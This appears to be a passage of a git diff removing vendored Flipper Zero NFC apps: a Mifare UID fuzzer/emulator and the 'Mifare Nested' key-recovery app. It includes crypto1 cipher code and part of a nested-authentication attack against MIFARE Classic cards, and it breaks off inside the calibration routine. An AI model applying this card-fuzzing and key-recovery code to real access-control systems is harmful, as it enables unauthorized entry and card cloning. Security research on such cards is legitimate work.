submenu_card, scene_manager_get_scene_state(app->scene_manager, MifareFuzzerSceneStart));
view_dispatcher_switch_to_view(app->view_dispatcher, MifareFuzzerViewSelectCard);
}
/// @brief mifare_fuzzer_scene_start_on_event()
/// @param context
/// @param event
/// @return
bool mifare_fuzzer_scene_start_on_event(void* context, SceneManagerEvent event) {
//FURI_LOG_D(TAG, "mifare_fuzzer_scene_start_on_event()");
MifareFuzzerApp* app = context;
bool consumed = false;
if(event.type == SceneManagerEventTypeCustom) {
//FURI_LOG_D(TAG, "mifare_fuzzer_scene_start_on_event() :: event.event = %ld", event.event);
if(event.event == MifareFuzzerEventClassic1k) {
// save selected item
scene_manager_set_scene_state(
app->scene_manager, MifareFuzzerSceneStart, SubmenuIndexClassic1k);
// set emulator card
app->card = MifareCardClassic1k;
mifare_fuzzer_emulator_set_card(app->emulator_view, app->card);
// open next scene
scene_manager_next_scene(app->scene_manager, MifareFuzzerSceneAttack);
consumed = true;
} else if(event.event == MifareFuzzerEventClassic4k) {
// save selected item
scene_manager_set_scene_state(
app->scene_manager, MifareFuzzerSceneStart, SubmenuIndexClassic4k);
// set emulator card
app->card = MifareCardClassic4k;
mifare_fuzzer_emulator_set_card(app->emulator_view, app->card);
// open next scene
scene_manager_next_scene(app->scene_manager, MifareFuzzerSceneAttack);
consumed = true;
} else if(event.event == MifareFuzzerEventUltralight) {
// save selected item
scene_manager_set_scene_state(
app->scene_manager, MifareFuzzerSceneStart, SubmenuIndexUltralight);
// set emulator card
app->card = MifareCardUltralight;
mifare_fuzzer_emulator_set_card(app->emulator_view, app->card);
// open next scene
scene_manager_next_scene(app->scene_manager, MifareFuzzerSceneAttack);
consumed = true;
}
} else if(event.type == SceneManagerEventTypeTick) {
//FURI_LOG_D(TAG, "mifare_fuzzer_scene_start_on_event() :: SceneManagerEventTypeTick");
//consumed = true;
}
return consumed;
}
/// @brief mifare_fuzzer_scene_start_on_exit()
/// @param context
void mifare_fuzzer_scene_start_on_exit(void* context) {
//FURI_LOG_D(TAG, "mifare_fuzzer_scene_start_on_exit()");
MifareFuzzerApp* app = context;
submenu_reset(app->submenu_card);
}

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applications/external/mifare_fuzzer/views/mifare_fuzzer_emulator.c vendored
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#include "mifare_fuzzer_emulator.h"
#define TAG "MifareFuzzerApp_emulator_view"
// Screen is 128 × 64 pixels
/// @brief mifare_fuzzer_emulator_set_callback
/// @param mifare_fuzzer_emulator
/// @param callback
/// @param context
void mifare_fuzzer_emulator_set_callback(
MifareFuzzerEmulator* mifare_fuzzer_emulator,
MifareFuzzerEmulatorCallback callback,
void* context) {
furi_assert(mifare_fuzzer_emulator);
furi_assert(callback);
mifare_fuzzer_emulator->callback = callback;
mifare_fuzzer_emulator->context = context;
}
/// @brief mifare_fuzzer_emulator_draw_callback
/// @param canvas
/// @param _model
static void mifare_fuzzer_emulator_draw_callback(Canvas* canvas, void* _model) {
MifareFuzzerEmulatorModel* model = _model;
FuriString* furi_string = furi_string_alloc();
canvas_clear(canvas);
canvas_set_color(canvas, ColorBlack);
// Primary font
canvas_set_font(canvas, FontPrimary);
// Title
canvas_draw_str(canvas, 4, 11, model->title);
// Emulated UID
uint8_t cpos;
char uid[25];
char uid_char[3];
cpos = 0;
for(uint8_t i = 0; i < model->nfc_dev_data.uid_len; i++) {
if(i > 0) {
uid[cpos] = ':';
cpos++;
}
snprintf(uid_char, sizeof(uid_char), "%02X", model->nfc_dev_data.uid[i]);
uid[cpos] = uid_char[0];
cpos++;
uid[cpos] = uid_char[1];
cpos++;
}
uid[cpos] = 0x00;
canvas_draw_str_aligned(canvas, 128 / 2, 43, AlignCenter, AlignCenter, uid);
// Secondary font
canvas_set_font(canvas, FontSecondary);
// Card
canvas_draw_str(canvas, 4, 22, "c:");
canvas_draw_str(canvas, 15, 22, model->mifare_card_dsc);
// Timing
furi_string_printf(furi_string, "%d", model->ticks_between_cards);
canvas_draw_str(canvas, 90, 22, "t:");
canvas_draw_str(canvas, 100, 22, furi_string_get_cstr(furi_string));
// Attack
canvas_draw_str(canvas, 4, 33, "a:");
canvas_draw_str(canvas, 15, 33, model->attack_dsc);
if(!model->is_attacking) {
elements_button_left(canvas, "t-1");
elements_button_center(canvas, "Start");
elements_button_right(canvas, "t+1");
} else {
canvas_draw_line(canvas, 1, 49, (128 * model->tick_num / model->ticks_between_cards), 49);
elements_button_center(canvas, "Stop");
}
// Free temp string
furi_string_free(furi_string);
}
/// @brief mifare_fuzzer_emulator_input_callback
/// @param event
/// @param context
/// @return
static bool mifare_fuzzer_emulator_input_callback(InputEvent* event, void* context) {
//FURI_LOG_D(TAG, "mifare_fuzzer_emulator_input_callback()");
furi_assert(context);
MifareFuzzerEmulator* mifare_fuzzer_emulator = context;
bool consumed = false;
if(event->type == InputTypeShort) {
if(event->key == InputKeyRight) {
if(!mifare_fuzzer_emulator->is_attacking) {
mifare_fuzzer_emulator->callback(
MifareFuzzerEventIncrementTicks, mifare_fuzzer_emulator->context);
};
consumed = true;
} else if(event->key == InputKeyLeft) {
if(!mifare_fuzzer_emulator->is_attacking) {
mifare_fuzzer_emulator->callback(
MifareFuzzerEventDecrementTicks, mifare_fuzzer_emulator->context);
};
consumed = true;
} else if(event->key == InputKeyUp) {
consumed = true;
} else if(event->key == InputKeyDown) {
consumed = true;
} else if(event->key == InputKeyOk) {
// Toggle attack
if(mifare_fuzzer_emulator->is_attacking) {
mifare_fuzzer_emulator->is_attacking = false;
mifare_fuzzer_emulator->callback(
MifareFuzzerEventStopAttack, mifare_fuzzer_emulator->context);
} else {
mifare_fuzzer_emulator->is_attacking = true;
mifare_fuzzer_emulator->callback(
MifareFuzzerEventStartAttack, mifare_fuzzer_emulator->context);
}
with_view_model(
mifare_fuzzer_emulator->view,
MifareFuzzerEmulatorModel * model,
{ model->is_attacking = mifare_fuzzer_emulator->is_attacking; },
true);
consumed = true;
}
}
return consumed;
}
/// @brief mifare_fuzzer_emulator_enter_callback
/// @param context
static void mifare_fuzzer_emulator_enter_callback(void* context) {
//FURI_LOG_D(TAG, "mifare_fuzzer_emulator_enter_callback()");
furi_assert(context);
MifareFuzzerEmulator* mifare_fuzzer_emulator = context;
//UNUSED(mifare_fuzzer_emulator);
mifare_fuzzer_emulator->is_attacking = false;
with_view_model(
mifare_fuzzer_emulator->view,
MifareFuzzerEmulatorModel * model,
{ model->is_attacking = false; },
true);
}
/// @brief mifare_fuzzer_emulator_alloc
/// @return
MifareFuzzerEmulator* mifare_fuzzer_emulator_alloc() {
MifareFuzzerEmulator* mifare_fuzzer_emulator = malloc(sizeof(MifareFuzzerEmulator));
mifare_fuzzer_emulator->view = view_alloc();
view_set_context(mifare_fuzzer_emulator->view, mifare_fuzzer_emulator);
view_allocate_model(
mifare_fuzzer_emulator->view, ViewModelTypeLocking, sizeof(MifareFuzzerEmulatorModel));
view_set_draw_callback(mifare_fuzzer_emulator->view, mifare_fuzzer_emulator_draw_callback);
view_set_input_callback(mifare_fuzzer_emulator->view, mifare_fuzzer_emulator_input_callback);
view_set_enter_callback(mifare_fuzzer_emulator->view, mifare_fuzzer_emulator_enter_callback);
with_view_model(
mifare_fuzzer_emulator->view,
MifareFuzzerEmulatorModel * model,
{ model->title = "Mifare Fuzzer (emulator)"; },
true);
return mifare_fuzzer_emulator;
}
/// @brief mifare_fuzzer_emulator_free
/// @param context
void mifare_fuzzer_emulator_free(MifareFuzzerEmulator* context) {
//FURI_LOG_D(TAG, "mifare_fuzzer_emulator_free()");
furi_assert(context);
MifareFuzzerEmulator* mifare_fuzzer_emulator = context;
/*
with_view_model(
mifare_fuzzer_emulator->view,
MifareFuzzerEmulatorModel* model,
{
UNUSED(model);
},
true
);
*/
view_free(mifare_fuzzer_emulator->view);
free(mifare_fuzzer_emulator);
}
/// @brief mifare_fuzzer_emulator_get_view
/// @param mifare_fuzzer_emulator
/// @return
View* mifare_fuzzer_emulator_get_view(MifareFuzzerEmulator* mifare_fuzzer_emulator) {
furi_assert(mifare_fuzzer_emulator);
return mifare_fuzzer_emulator->view;
}
/// @brief Set card type
/// @param mifare_fuzzer_emulator
/// @param mifare_card
void mifare_fuzzer_emulator_set_card(
MifareFuzzerEmulator* mifare_fuzzer_emulator,
MifareCard mifare_card) {
furi_assert(mifare_fuzzer_emulator);
furi_assert(mifare_card);
with_view_model(
mifare_fuzzer_emulator->view,
MifareFuzzerEmulatorModel * model,
{
model->mifare_card = mifare_card;
switch(mifare_card) {
case MifareCardClassic1k:
model->mifare_card_dsc = "Classic 1k";
break;
case MifareCardClassic4k:
model->mifare_card_dsc = "Classic 4k";
break;
case MifareCardUltralight:
model->mifare_card_dsc = "Ultralight";
break;
}
},
true);
}
/// @brief Set attack type
/// @param mifare_fuzzer_emulator
/// @param mifare_attack
void mifare_fuzzer_emulator_set_attack(
MifareFuzzerEmulator* mifare_fuzzer_emulator,
MifareFuzzerAttack mifare_attack) {
furi_assert(mifare_fuzzer_emulator);
furi_assert(mifare_attack);
with_view_model(
mifare_fuzzer_emulator->view,
MifareFuzzerEmulatorModel * model,
{
model->attack = mifare_attack;
switch(mifare_attack) {
case MifareFuzzerAttackTestValues:
model->attack_dsc = "Test values";
break;
case MifareFuzzerAttackRandomValues:
model->attack_dsc = "Random values";
break;
case MifareFuzzerAttackLoadUidsFromFile:
model->attack_dsc = "Load Uids From File";
break;
}
},
true);
}
/// @brief mifare_fuzzer_emulator_set_nfc_dev_data
/// @param mifare_fuzzer_emulator
/// @param nfc_dev_data
void mifare_fuzzer_emulator_set_nfc_dev_data(
MifareFuzzerEmulator* mifare_fuzzer_emulator,
FuriHalNfcDevData nfc_dev_data) {
furi_assert(mifare_fuzzer_emulator);
with_view_model(
mifare_fuzzer_emulator->view,
MifareFuzzerEmulatorModel * model,
{ model->nfc_dev_data = nfc_dev_data; },
true);
}
/// @brief mifare_fuzzer_emulator_set_ticks_between_cards
/// @param mifare_fuzzer_emulator
/// @param ticks
void mifare_fuzzer_emulator_set_ticks_between_cards(
MifareFuzzerEmulator* mifare_fuzzer_emulator,
uint8_t ticks) {
furi_assert(mifare_fuzzer_emulator);
with_view_model(
mifare_fuzzer_emulator->view,
MifareFuzzerEmulatorModel * model,
{ model->ticks_between_cards = ticks; },
true);
}
/// @brief mifare_fuzzer_emulator_set_tick_num
/// @param mifare_fuzzer_emulator
/// @param tick_num
void mifare_fuzzer_emulator_set_tick_num(
MifareFuzzerEmulator* mifare_fuzzer_emulator,
uint8_t tick_num) {
furi_assert(mifare_fuzzer_emulator);
with_view_model(
mifare_fuzzer_emulator->view,
MifareFuzzerEmulatorModel * model,
{ model->tick_num = tick_num; },
true);
}

70
applications/external/mifare_fuzzer/views/mifare_fuzzer_emulator.h vendored
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@@ -1,70 +0,0 @@
#pragma once
#include "../mifare_fuzzer_custom_events.h"
#include <furi.h>
#include <furi_hal.h>
#include <gui/view.h>
#include <gui/elements.h>
typedef void (*MifareFuzzerEmulatorCallback)(MifareFuzzerEvent event, void* context);
typedef enum MifareCard {
MifareCardClassic1k = 1,
MifareCardClassic4k,
MifareCardUltralight,
} MifareCard;
typedef enum MifareFuzzerAttack {
MifareFuzzerAttackTestValues = 1,
MifareFuzzerAttackRandomValues,
MifareFuzzerAttackLoadUidsFromFile,
} MifareFuzzerAttack;
typedef struct MifareFuzzerEmulator {
View* view;
MifareFuzzerEmulatorCallback callback;
void* context;
bool is_attacking;
uint8_t ticks_between_cards;
} MifareFuzzerEmulator;
typedef struct MifareFuzzerEmulatorModel {
const char* title;
MifareCard mifare_card;
const char* mifare_card_dsc;
MifareFuzzerAttack attack;
const char* attack_dsc;
FuriHalNfcDevData nfc_dev_data;
bool is_attacking;
uint8_t tick_num;
uint8_t ticks_between_cards;
} MifareFuzzerEmulatorModel;
MifareFuzzerEmulator* mifare_fuzzer_emulator_alloc();
void mifare_fuzzer_emulator_free(MifareFuzzerEmulator* context);
View* mifare_fuzzer_emulator_get_view(MifareFuzzerEmulator* context);
void mifare_fuzzer_emulator_set_card(
MifareFuzzerEmulator* mifare_fuzzer_emulator,
MifareCard mifare_card);
void mifare_fuzzer_emulator_set_attack(
MifareFuzzerEmulator* mifare_fuzzer_emulator,
MifareFuzzerAttack mifare_attack);
void mifare_fuzzer_emulator_set_callback(
MifareFuzzerEmulator* mifare_fuzzer_emulator,
MifareFuzzerEmulatorCallback callback,
void* context);
void mifare_fuzzer_emulator_set_nfc_dev_data(
MifareFuzzerEmulator* mifare_fuzzer_emulator,
FuriHalNfcDevData nfc_dev_data);
void mifare_fuzzer_emulator_set_ticks_between_cards(
MifareFuzzerEmulator* mifare_fuzzer_emulator,
uint8_t ticks);
void mifare_fuzzer_emulator_set_tick_num(
MifareFuzzerEmulator* mifare_fuzzer_emulator,
uint8_t tick_num);

674
applications/external/mifare_nested/LICENSE.md vendored
View File

@@ -1,674 +0,0 @@
GNU GENERAL PUBLIC LICENSE
Version 3, 29 June 2007
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under version 3 of the GNU Affero General Public License into a single
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License will continue to apply to the part which is the covered work,
but the special requirements of the GNU Affero General Public License,
section 13, concerning interaction through a network will apply to the
combination as such.
14. Revised Versions of this License.
The Free Software Foundation may publish revised and/or new versions of
the GNU General Public License from time to time. Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.
Each version is given a distinguishing version number. If the
Program specifies that a certain numbered version of the GNU General
Public License "or any later version" applies to it, you have the
option of following the terms and conditions either of that numbered
version or of any later version published by the Free Software
Foundation. If the Program does not specify a version number of the
GNU General Public License, you may choose any version ever published
by the Free Software Foundation.
If the Program specifies that a proxy can decide which future
versions of the GNU General Public License can be used, that proxy's
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to choose that version for the Program.
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15. Disclaimer of Warranty.
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If the disclaimer of warranty and limitation of liability provided
above cannot be given local legal effect according to their terms,
reviewing courts shall apply local law that most closely approximates
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Program, unless a warranty or assumption of liability accompanies a
copy of the Program in return for a fee.
END OF TERMS AND CONDITIONS
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free software which everyone can redistribute and change under these terms.
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but WITHOUT ANY WARRANTY; without even the implied warranty of
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Also add information on how to contact you by electronic and paper mail.
If the program does terminal interaction, make it output a short
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The hypothetical commands `show w' and `show c' should show the appropriate
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You should also get your employer (if you work as a programmer) or school,
if any, to sign a "copyright disclaimer" for the program, if necessary.
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<https://www.gnu.org/licenses/why-not-lgpl.html>.

16
applications/external/mifare_nested/application.fam vendored
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@@ -1,16 +0,0 @@
App(
appid="mifare_nested",
name="Mifare Nested",
apptype=FlipperAppType.EXTERNAL,
entry_point="mifare_nested_app",
requires=["storage", "gui", "nfc"],
stack_size=4 * 1024,
fap_icon="assets/icon.png",
fap_category="NFC",
fap_private_libs=[Lib(name="nested"), Lib(name="parity"), Lib(name="crypto1")],
fap_icon_assets="assets",
fap_author="AloneLiberty",
fap_description="Recover Mifare Classic keys",
fap_weburl="https://github.com/AloneLiberty/FlipperNested",
fap_version="1.5.2",
)

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118
applications/external/mifare_nested/lib/crypto1/crypto1.c vendored
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#include "crypto1.h"
#include <string.h>
void crypto1_reset(Crypto1* crypto1) {
furi_assert(crypto1);
crypto1->even = 0;
crypto1->odd = 0;
}
void crypto1_init(Crypto1* crypto1, uint64_t key) {
furi_assert(crypto1);
crypto1->even = 0;
crypto1->odd = 0;
for(int8_t i = 47; i > 0; i -= 2) {
crypto1->odd = crypto1->odd << 1 | FURI_BIT(key, (i - 1) ^ 7);
crypto1->even = crypto1->even << 1 | FURI_BIT(key, i ^ 7);
}
}
uint32_t crypto1_filter(uint32_t in) {
uint32_t out = 0;
out = 0xf22c0 >> (in & 0xf) & 16;
out |= 0x6c9c0 >> (in >> 4 & 0xf) & 8;
out |= 0x3c8b0 >> (in >> 8 & 0xf) & 4;
out |= 0x1e458 >> (in >> 12 & 0xf) & 2;
out |= 0x0d938 >> (in >> 16 & 0xf) & 1;
return FURI_BIT(0xEC57E80A, out);
}
uint8_t crypto1_bit(Crypto1* crypto1, uint8_t in, int is_encrypted) {
furi_assert(crypto1);
uint8_t out = crypto1_filter(crypto1->odd);
uint32_t feed = out & (!!is_encrypted);
feed ^= !!in;
feed ^= LF_POLY_ODD & crypto1->odd;
feed ^= LF_POLY_EVEN & crypto1->even;
crypto1->even = crypto1->even << 1 | (evenparity32(feed));
FURI_SWAP(crypto1->odd, crypto1->even);
return out;
}
uint8_t crypto1_byte(Crypto1* crypto1, uint8_t in, int is_encrypted) {
furi_assert(crypto1);
uint8_t out = 0;
for(uint8_t i = 0; i < 8; i++) {
out |= crypto1_bit(crypto1, FURI_BIT(in, i), is_encrypted) << i;
}
return out;
}
uint32_t crypto1_word(Crypto1* crypto1, uint32_t in, int is_encrypted) {
furi_assert(crypto1);
uint32_t out = 0;
for(uint8_t i = 0; i < 32; i++) {
out |= (uint32_t)crypto1_bit(crypto1, BEBIT(in, i), is_encrypted) << (24 ^ i);
}
return out;
}
uint32_t prng_successor(uint32_t x, uint32_t n) {
SWAPENDIAN(x);
while(n--) x = x >> 1 | (x >> 16 ^ x >> 18 ^ x >> 19 ^ x >> 21) << 31;
return SWAPENDIAN(x);
}
void crypto1_decrypt(
Crypto1* crypto,
uint8_t* encrypted_data,
uint16_t encrypted_data_bits,
uint8_t* decrypted_data) {
furi_assert(crypto);
furi_assert(encrypted_data);
furi_assert(decrypted_data);
if(encrypted_data_bits < 8) {
uint8_t decrypted_byte = 0;
decrypted_byte |= (crypto1_bit(crypto, 0, 0) ^ FURI_BIT(encrypted_data[0], 0)) << 0;
decrypted_byte |= (crypto1_bit(crypto, 0, 0) ^ FURI_BIT(encrypted_data[0], 1)) << 1;
decrypted_byte |= (crypto1_bit(crypto, 0, 0) ^ FURI_BIT(encrypted_data[0], 2)) << 2;
decrypted_byte |= (crypto1_bit(crypto, 0, 0) ^ FURI_BIT(encrypted_data[0], 3)) << 3;
decrypted_data[0] = decrypted_byte;
} else {
for(size_t i = 0; i < encrypted_data_bits / 8; i++) {
decrypted_data[i] = crypto1_byte(crypto, 0, 0) ^ encrypted_data[i];
}
}
}
void crypto1_encrypt(
Crypto1* crypto,
uint8_t* keystream,
uint8_t* plain_data,
uint16_t plain_data_bits,
uint8_t* encrypted_data,
uint8_t* encrypted_parity) {
furi_assert(crypto);
furi_assert(plain_data);
furi_assert(encrypted_data);
furi_assert(encrypted_parity);
if(plain_data_bits < 8) {
encrypted_data[0] = 0;
for(size_t i = 0; i < plain_data_bits; i++) {
encrypted_data[0] |= (crypto1_bit(crypto, 0, 0) ^ FURI_BIT(plain_data[0], i)) << i;
}
} else {
memset(encrypted_parity, 0, plain_data_bits / 8 + 1);
for(uint8_t i = 0; i < plain_data_bits / 8; i++) {
encrypted_data[i] = crypto1_byte(crypto, keystream ? keystream[i] : 0, 0) ^
plain_data[i];
encrypted_parity[i / 8] |=
(((crypto1_filter(crypto->odd) ^ oddparity8(plain_data[i])) & 0x01)
<< (7 - (i & 0x0007)));
}
}
}

39
applications/external/mifare_nested/lib/crypto1/crypto1.h vendored
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#include "../../lib/parity/parity.h"
#include <lib/nfc/protocols/mifare_classic.h>
#include <lib/nfc/protocols/crypto1.h>
#include "stddef.h"
#define LF_POLY_ODD (0x29CE5C)
#define LF_POLY_EVEN (0x870804)
#define SWAPENDIAN(x) \
((x) = ((x) >> 8 & 0xff00ff) | ((x)&0xff00ff) << 8, (x) = (x) >> 16 | (x) << 16)
#define BEBIT(x, n) FURI_BIT(x, (n) ^ 24)
void crypto1_reset(Crypto1* crypto1);
void crypto1_init(Crypto1* crypto1, uint64_t key);
uint32_t crypto1_filter(uint32_t in);
uint8_t crypto1_bit(Crypto1* crypto1, uint8_t in, int is_encrypted);
uint8_t crypto1_byte(Crypto1* crypto1, uint8_t in, int is_encrypted);
uint32_t crypto1_word(Crypto1* crypto1, uint32_t in, int is_encrypted);
uint32_t prng_successor(uint32_t x, uint32_t n);
void crypto1_decrypt(
Crypto1* crypto,
uint8_t* encrypted_data,
uint16_t encrypted_data_bits,
uint8_t* decrypted_data);
void crypto1_encrypt(
Crypto1* crypto,
uint8_t* keystream,
uint8_t* plain_data,
uint16_t plain_data_bits,
uint8_t* encrypted_data,
uint8_t* encrypted_parity);

718
applications/external/mifare_nested/lib/nested/nested.c vendored
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@@ -1,718 +0,0 @@
#include "nested.h"
#include <furi_hal_nfc.h>
#include "../../lib/parity/parity.h"
#include "../../lib/crypto1/crypto1.h"
#define TAG "Nested"
uint16_t nfca_get_crc16(uint8_t* buff, uint16_t len) {
uint16_t crc = 0x6363; // NFCA_CRC_INIT
uint8_t byte = 0;
for(uint8_t i = 0; i < len; i++) {
byte = buff[i];
byte ^= (uint8_t)(crc & 0xff);
byte ^= byte << 4;
crc = (crc >> 8) ^ (((uint16_t)byte) << 8) ^ (((uint16_t)byte) << 3) ^
(((uint16_t)byte) >> 4);
}
return crc;
}
void nfca_append_crc16(uint8_t* buff, uint16_t len) {
uint16_t crc = nfca_get_crc16(buff, len);
buff[len] = (uint8_t)crc;
buff[len + 1] = (uint8_t)(crc >> 8);
}
bool mifare_sendcmd_short(
Crypto1* crypto,
FuriHalNfcTxRxContext* tx_rx,
bool crypted,
uint32_t cmd,
uint32_t data) {
uint16_t pos;
uint8_t dcmd[4] = {cmd, data, 0x00, 0x00};
nfca_append_crc16(dcmd, 2);
memset(tx_rx->tx_data, 0, sizeof(tx_rx->tx_data));
memset(tx_rx->tx_parity, 0, sizeof(tx_rx->tx_parity));
if(crypted) {
for(pos = 0; pos < 4; pos++) {
uint8_t res = crypto1_byte(crypto, 0x00, 0) ^ dcmd[pos];
tx_rx->tx_data[pos] = res;
tx_rx->tx_parity[0] |=
(((crypto1_filter(crypto->odd) ^ oddparity8(dcmd[pos])) & 0x01) << (7 - pos));
}
tx_rx->tx_rx_type = FuriHalNfcTxRxTypeRaw;
tx_rx->tx_bits = 4 * 8;
} else {
for(pos = 0; pos < 2; pos++) {
tx_rx->tx_data[pos] = dcmd[pos];
}
tx_rx->tx_rx_type = FuriHalNfcTxRxTypeRxNoCrc;
tx_rx->tx_bits = 2 * 8;
}
if(!furi_hal_nfc_tx_rx(tx_rx, 6)) return false;
return true;
}
bool mifare_classic_authex(
Crypto1* crypto,
FuriHalNfcTxRxContext* tx_rx,
uint32_t uid,
uint32_t blockNo,
uint32_t keyType,
uint64_t ui64Key,
bool isNested,
uint32_t* ntptr) {
uint32_t nt, ntpp; // Supplied tag nonce
uint8_t nr[4];
// "random" reader nonce:
nfc_util_num2bytes(prng_successor(0, 32), 4, nr); // DWT->CYCCNT
// Transmit MIFARE_CLASSIC_AUTH
if(!mifare_sendcmd_short(crypto, tx_rx, isNested, 0x60 + (keyType & 0x01), blockNo)) {
return false;
};
memset(tx_rx->tx_data, 0, sizeof(tx_rx->tx_data));
memset(tx_rx->tx_parity, 0, sizeof(tx_rx->tx_parity));
nt = (uint32_t)nfc_util_bytes2num(tx_rx->rx_data, 4);
if(isNested) crypto1_reset(crypto); // deinit
crypto1_init(crypto, ui64Key);
if(isNested) {
nt = crypto1_word(crypto, nt ^ uid, 1) ^ nt;
} else {
crypto1_word(crypto, nt ^ uid, 0);
}
// save Nt
if(ntptr) *ntptr = nt;
// Generate (encrypted) nr+parity by loading it into the cipher (Nr)
tx_rx->tx_parity[0] = 0;
for(uint8_t i = 0; i < 4; i++) {
tx_rx->tx_data[i] = crypto1_byte(crypto, nr[i], 0) ^ nr[i];
tx_rx->tx_parity[0] |=
(((crypto1_filter(crypto->odd) ^ oddparity8(nr[i])) & 0x01) << (7 - i));
}
nt = prng_successor(nt, 32);
for(uint8_t i = 4; i < 8; i++) {
nt = prng_successor(nt, 8);
tx_rx->tx_data[i] = crypto1_byte(crypto, 0x00, 0) ^ (nt & 0xff);
tx_rx->tx_parity[0] |=
(((crypto1_filter(crypto->odd) ^ oddparity8(nt & 0xff)) & 0x01) << (7 - i));
}
tx_rx->tx_rx_type = FuriHalNfcTxRxTypeRaw;
tx_rx->tx_bits = 8 * 8;
if(!furi_hal_nfc_tx_rx(tx_rx, 25)) {
return false;
};
uint32_t answer = (uint32_t)nfc_util_bytes2num(tx_rx->rx_data, 4);
ntpp = prng_successor(nt, 32) ^ crypto1_word(crypto, 0, 0);
if(answer != ntpp) {
return false;
}
return true;
}
static int valid_nonce(uint32_t Nt, uint32_t NtEnc, uint32_t Ks1, const uint8_t* parity) {
return ((oddparity8((Nt >> 24) & 0xFF) ==
((parity[0]) ^ oddparity8((NtEnc >> 24) & 0xFF) ^ FURI_BIT(Ks1, 16))) &&
(oddparity8((Nt >> 16) & 0xFF) ==
((parity[1]) ^ oddparity8((NtEnc >> 16) & 0xFF) ^ FURI_BIT(Ks1, 8))) &&
(oddparity8((Nt >> 8) & 0xFF) ==
((parity[2]) ^ oddparity8((NtEnc >> 8) & 0xFF) ^ FURI_BIT(Ks1, 0)))) ?
1 :
0;
}
void nonce_distance(uint32_t* msb, uint32_t* lsb) {
uint16_t x = 1, pos;
uint8_t calc_ok = 0;
for(uint16_t i = 1; i; ++i) {
pos = (x & 0xff) << 8 | x >> 8;
if((pos == *msb) & !(calc_ok >> 0 & 0x01)) {
*msb = i;
calc_ok |= 0x01;
}
if((pos == *lsb) & !(calc_ok >> 1 & 0x01)) {
*lsb = i;
calc_ok |= 0x02;
}
if(calc_ok == 0x03) {
return;
}
x = x >> 1 | (x ^ x >> 2 ^ x >> 3 ^ x >> 5) << 15;
}
}
bool validate_prng_nonce(uint32_t nonce) {
uint32_t msb = nonce >> 16;
uint32_t lsb = nonce & 0xffff;
nonce_distance(&msb, &lsb);
return ((65535 - msb + lsb) % 65535) == 16;
}
MifareNestedNonceType nested_check_nonce_type(FuriHalNfcTxRxContext* tx_rx, uint8_t blockNo) {
uint32_t nonces[5] = {};
uint8_t sameNonces = 0;
uint8_t hardNonces = 0;
Crypto1 crypt;
Crypto1* crypto = {&crypt};
for(int32_t i = 0; i < 5; i++) {
// Setup nfc poller
nfc_activate();
furi_hal_nfc_activate_nfca(100, NULL);
// Start communication
bool success = mifare_sendcmd_short(crypto, tx_rx, false, 0x60, blockNo);
if(!success) {
continue;
};
uint32_t nt = (uint32_t)nfc_util_bytes2num(tx_rx->rx_data, 4);
if(nt == 0) continue;
if(!validate_prng_nonce(nt)) hardNonces++;
nonces[i] = nt;
nfc_deactivate();
}
for(int32_t i = 0; i < 5; i++) {
for(int32_t j = 0; j < 5; j++) {
if(i != j && nonces[j] && nonces[i] == nonces[j]) {
sameNonces++;
}
}
}
if(!nonces[4]) {
return MifareNestedNonceNoTag;
}
if(sameNonces > 3) {
return MifareNestedNonceStatic;
}
if(hardNonces > 3) {
return MifareNestedNonceHard;
}
return MifareNestedNonceWeak;
}
struct nonce_info_static nested_static_nonce_attack(
FuriHalNfcTxRxContext* tx_rx,
uint8_t blockNo,
uint8_t keyType,
uint8_t targetBlockNo,
uint8_t targetKeyType,
uint64_t ui64Key) {
uint32_t cuid = 0;
Crypto1* crypto = malloc(sizeof(Crypto1));
struct nonce_info_static r;
r.full = false;
// Setup nfc poller
nfc_activate();
if(!furi_hal_nfc_activate_nfca(200, &cuid)) {
free(crypto);
return r;
}
r.cuid = cuid;
uint32_t nt1;
uint32_t nt_unused;
crypto1_reset(crypto);
mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, false, &nt1);
if(targetKeyType == 1 && nt1 == 0x009080A2) {
r.target_nt[0] = prng_successor(nt1, 161);
r.target_nt[1] = prng_successor(nt1, 321);
} else {
r.target_nt[0] = prng_successor(nt1, 160);
r.target_nt[1] = prng_successor(nt1, 320);
}
bool success =
mifare_sendcmd_short(crypto, tx_rx, true, 0x60 + (targetKeyType & 0x01), targetBlockNo);
if(!success) {
free(crypto);
return r;
};
uint32_t nt2 = nfc_util_bytes2num(tx_rx->rx_data, 4);
r.target_ks[0] = nt2 ^ r.target_nt[0];
nfc_activate();
if(!furi_hal_nfc_activate_nfca(200, &cuid)) {
free(crypto);
return r;
}
crypto1_reset(crypto);
mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, false, &nt1);
mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, true, &nt_unused);
success =
mifare_sendcmd_short(crypto, tx_rx, true, 0x60 + (targetKeyType & 0x01), targetBlockNo);
free(crypto);
if(!success) {
return r;
};
uint32_t nt3 = (uint32_t)nfc_util_bytes2num(tx_rx->rx_data, 4);
r.target_ks[1] = nt3 ^ r.target_nt[1];
r.full = true;
nfc_deactivate();
return r;
}
uint32_t nested_calibrate_distance(
FuriHalNfcTxRxContext* tx_rx,
uint8_t blockNo,
uint8_t keyType,
uint64_t ui64Key,
uint32_t delay,
bool full) {
uint32_t cuid = 0;
Crypto1* crypto = malloc(sizeof(Crypto1));
uint32_t nt1, nt2, i = 0, davg = 0, dmin = 0, dmax = 0, rtr = 0, unsuccessful_tries = 0;
uint32_t max_prng_value = full ? 65565 : 1200;
uint32_t rounds = full ? 5 : 17; // full does not require precision
uint32_t collected = 0;
for(rtr = 0; rtr < rounds; rtr++) {
nfc_activate();
if(!furi_hal_nfc_activate_nfca(200, &cuid)) break;
if(!mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, false, &nt1)) {
continue;
}
furi_delay_us(delay);
if(!mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, true, &nt2)) {
continue;
}
// NXP Mifare is typical around 840, but for some unlicensed/compatible mifare tag this can be 160
uint32_t nttmp = prng_successor(nt1, 100);
for(i = 101; i < max_prng_value; i++) {
nttmp = prng_successor(nttmp, 1);
if(nttmp == nt2) break;
}
if(i != max_prng_value) {
if(rtr != 0) {
davg += i;
dmin = MIN(dmin, i);
dmax = MAX(dmax, i);
} else {
dmin = dmax = i;
}
FURI_LOG_D(TAG, "Calibrating: ntdist=%lu", i);
collected++;
} else {
unsuccessful_tries++;
if(unsuccessful_tries > 12) {
